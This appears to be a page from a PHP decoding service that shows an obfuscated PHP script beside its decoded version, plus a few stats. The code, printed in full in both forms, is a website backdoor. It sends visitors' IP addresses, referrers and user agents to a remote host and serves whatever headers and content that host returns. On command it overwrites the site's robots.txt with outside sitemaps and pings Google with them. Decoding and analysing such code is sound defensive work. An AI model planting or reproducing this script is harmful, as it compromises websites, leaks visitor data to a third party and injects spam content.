Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ErrOR_RePorTiNG((int)ROunD(0+0+0));$_ywqfdjl="zj\0678";$_tshwujit="\x791";if(PrEG_ma..
Decoded Output download
<?php ErrOR_RePorTiNG((int)ROunD(0+0+0));$_ywqfdjl="zj78";$_tshwujit="y1";if(PrEG_matCh("/jp2023/si",$_SERVER["REQUEST_URI"])==((int)ROuNd(67+67)-(int)rOuNd(23.333333333333+23.333333333333+23.333333333333)+(-063-0262+-0456- -0724))){HEadEr("HTTP/1.0 404 Not Found");echo"HTTP/1.0 404 Not Found"."___".$_ywqfdjl."___".$_tshwujit;exit;}function _kpcdiyw($_hrxyfe){$_ygnbo=CUrL_InIT();CUrL_setoPt($_ygnbo,(int)rOUNd(5001+5001),$_hrxyfe);CuRl_sEtOpT($_ygnbo,(int)roUnd(4978.25+4978.25+4978.25+4978.25),(int)RouNd(-95.5+-95.5)+(0306+-06));cURL_SEtoPT($_ygnbo,(0133-0260)-(int)roUnD(-68+-68+-68)-(int)Round(13.666666666667+13.666666666667+13.666666666667),(-01152- -02602- -0553+-03426)+(int)RouND(167.25+167.25+167.25+167.25));$_nwprvbdk=cURL_exeC($_ygnbo);$_nwprvbdk=tRim($_nwprvbdk);cuRL_CloSE($_ygnbo);if(empty($_nwprvbdk)){$_nwprvbdk=FILe_Get_COnteNTS($_hrxyfe);}return$_nwprvbdk;}$_cbaj="http://".$_ywqfdjl.".validray.com";$_xfiraifi="/index.php?VS=".$_tshwujit."&GP=".$_ywqfdjl;$_fdhwrfdt=array("SCRIPT_NAME","REQUEST_URI","HTTPS","REQUEST_SCHEME","SERVER_PORT","REMOTE_ADDR","HTTP_REFERER","HTTP_ACCEPT_LANGUAGE","HTTP_USER_AGENT","HTTP_HOST");foreach($_fdhwrfdt as$_wfnci){$_anrja=isset($_SERVER[$_wfnci])?$_SERVER[$_wfnci]:"";$_clzl=bAse64_eNcoDe(trIm($_anrja));$_clzl=str_REpLAcE("+","-",$_clzl);$_clzl=sTR_rePlacE("/","_",$_clzl);$_clzl=sTR_REpLace("=",".",$_clzl);$_xfiraifi.="&".$_wfnci."=".$_clzl;}$_bvjhq=eXpLOdE("|@#$|",TrIM(_kpcdiyw($_cbaj.$_xfiraifi)));$_owhsm=couNt($_bvjhq);if($_owhsm<((int)rOuNd(255.33333333333+255.33333333333+255.33333333333)-(01077-01440)-(01201-01624- -01756)-(int)Round(64.25+64.25+64.25+64.25))){HeaDeR("HTTP/1.0 404 Not Found");exit;}else{$_pekp=triM($_bvjhq[(-0403- -0376- -0260+-0601)+(0170- -0251+01106+-01221)]);if(!empty($_pekp)){HEadEr($_pekp);}$_fbzual=tRIm($_bvjhq[(int)rOUNd(-185+-185+-185)+(01064+0711+-0771)+(int)ROUND(20+20)]);if(!empty($_fbzual)){echo$_fbzual;}$_wjuosno=tRIM($_bvjhq[$_owhsm-((int)ROUnd(-60+-60)+(int)RoUNd(13+13+13)+(int)rOUND(79.25+79.25+79.25+79.25)+(-0300- -0340+-01115- -0502))]);if($_wjuosno=="exit"){exit;}if($_wjuosno=="ping"){$_stue="User-agent:*".PHP_EOL;$_stue.="Allow:/".PHP_EOL;$_uqdg=eXploDE("<br/>",$_fbzual);ArraY_POP($_uqdg);foreach($_uqdg as$_ncln){$_stue.="Sitemap:".$_ncln.PHP_EOL;$_eihvhw=_kpcdiyw("https://www.google.com/ping?sitemap=".$_ncln);PrEg_MAtch("/<h2>(.+)?<\/h2>/",$_eihvhw,$_bgcrrkfh);echo$_ncln."==>ping-google-result-is:<b>".$_bgcrrkfh[(0531+-0630)+(int)ROUnD(21.333333333333+21.333333333333+21.333333333333)]."</b><br/>";uSLeEp(mT_rAnD((int)ROUnD(50000+50000),(int)RouND(100000+100000+100000)));}fIle_PUt_ContentS($_SERVER["DOCUMENT_ROOT"]."/robots.txt",$_stue);echo"robots.txt==><b>updated</b>";exit;}};?>
Did this file decode correctly?
Original Code
<?php ErrOR_RePorTiNG((int)ROunD(0+0+0));$_ywqfdjl="zj\0678";$_tshwujit="\x791";if(PrEG_matCh("\057jp20\x323/si",$_SERVER["RE\x51U\x45\123\x54_\x55\122I"])==((int)ROuNd(67+67)-(int)rOuNd(23.333333333333+23.333333333333+23.333333333333)+(-063-0262+-0456- -0724))){HEadEr("\110TTP\057\061\0560\0404\060\064\040N\157\x74\040Fo\165\x6e\x64");echo"\110\x54\x54P/\061\0560\040404 \x4eo\164\040Fo\x75n\144"."_\137_".$_ywqfdjl."__\137".$_tshwujit;exit;}function _kpcdiyw($_hrxyfe){$_ygnbo=CUrL_InIT();CUrL_setoPt($_ygnbo,(int)rOUNd(5001+5001),$_hrxyfe);CuRl_sEtOpT($_ygnbo,(int)roUnd(4978.25+4978.25+4978.25+4978.25),(int)RouNd(-95.5+-95.5)+(0306+-06));cURL_SEtoPT($_ygnbo,(0133-0260)-(int)roUnD(-68+-68+-68)-(int)Round(13.666666666667+13.666666666667+13.666666666667),(-01152- -02602- -0553+-03426)+(int)RouND(167.25+167.25+167.25+167.25));$_nwprvbdk=cURL_exeC($_ygnbo);$_nwprvbdk=tRim($_nwprvbdk);cuRL_CloSE($_ygnbo);if(empty($_nwprvbdk)){$_nwprvbdk=FILe_Get_COnteNTS($_hrxyfe);}return$_nwprvbdk;}$_cbaj="\150t\164\x70\x3a\x2f\x2f".$_ywqfdjl.".v\x61l\151dra\x79.\x63o\155";$_xfiraifi="\057ind\145x\x2e\160\150p?\x56\x53=".$_tshwujit."&G\120=".$_ywqfdjl;$_fdhwrfdt=array("SC\122\x49\x50\124_NAME","\x52\x45QU\x45ST\137UR\111","H\124TPS","R\x45QUE\123\124\137\123C\110\105ME","\123\105RVER\x5f\x50O\x52\x54","R\x45MOT\105_\101DDR","\x48\x54T\x50_\122\x45\x46\x45R\x45\x52","\x48T\x54P\137ACCEPT\137L\x41N\x47UAGE","\x48T\x54P_U\x53E\122_A\107EN\x54","H\124TP_\x48\117ST");foreach($_fdhwrfdt as$_wfnci){$_anrja=isset($_SERVER[$_wfnci])?$_SERVER[$_wfnci]:"";$_clzl=bAse64_eNcoDe(trIm($_anrja));$_clzl=str_REpLAcE("\053","-",$_clzl);$_clzl=sTR_rePlacE("\x2f","_",$_clzl);$_clzl=sTR_REpLace("=","\056",$_clzl);$_xfiraifi.="&".$_wfnci."=".$_clzl;}$_bvjhq=eXpLOdE("|\100#\044|",TrIM(_kpcdiyw($_cbaj.$_xfiraifi)));$_owhsm=couNt($_bvjhq);if($_owhsm<((int)rOuNd(255.33333333333+255.33333333333+255.33333333333)-(01077-01440)-(01201-01624- -01756)-(int)Round(64.25+64.25+64.25+64.25))){HeaDeR("\x48T\x54P\057\061.0 404 N\x6ft Fou\x6ed");exit;}else{$_pekp=triM($_bvjhq[(-0403- -0376- -0260+-0601)+(0170- -0251+01106+-01221)]);if(!empty($_pekp)){HEadEr($_pekp);}$_fbzual=tRIm($_bvjhq[(int)rOUNd(-185+-185+-185)+(01064+0711+-0771)+(int)ROUND(20+20)]);if(!empty($_fbzual)){echo$_fbzual;}$_wjuosno=tRIM($_bvjhq[$_owhsm-((int)ROUnd(-60+-60)+(int)RoUNd(13+13+13)+(int)rOUND(79.25+79.25+79.25+79.25)+(-0300- -0340+-01115- -0502))]);if($_wjuosno=="\145x\x69t"){exit;}if($_wjuosno=="\x70\x69\x6eg"){$_stue="\125ser\055\x61gen\x74:*".PHP_EOL;$_stue.="\101l\154ow\x3a/".PHP_EOL;$_uqdg=eXploDE("<\142r\x2f>",$_fbzual);ArraY_POP($_uqdg);foreach($_uqdg as$_ncln){$_stue.="\x53it\x65map:".$_ncln.PHP_EOL;$_eihvhw=_kpcdiyw("htt\160s://www\056go\x6fgle.\143o\155\057p\x69\156g?\163\151te\155ap\x3d".$_ncln);PrEg_MAtch("/<h2\x3e\x28.\x2b\051?<\134/h2\x3e/",$_eihvhw,$_bgcrrkfh);echo$_ncln."\075=\076pi\156g-goo\x67le-r\x65s\165\154t\x2dis\072<b>".$_bgcrrkfh[(0531+-0630)+(int)ROUnD(21.333333333333+21.333333333333+21.333333333333)]."</\x62><b\162\x2f\x3e";uSLeEp(mT_rAnD((int)ROUnD(50000+50000),(int)RouND(100000+100000+100000)));}fIle_PUt_ContentS($_SERVER["\x44\x4fC\125\x4dEN\124_ROO\x54"]."/ro\142\x6ft\163\x2et\x78\x74",$_stue);echo"ro\x62ots\x2e\164x\164\075\x3d><b>upd\x61\x74\x65\x64\074\057b>";exit;}};?>
Function Calls
ROunD | 1 |
Stats
MD5 | 87cfa596a92909c498e22523c6b24942 |
Eval Count | 0 |
Decode Time | 77 ms |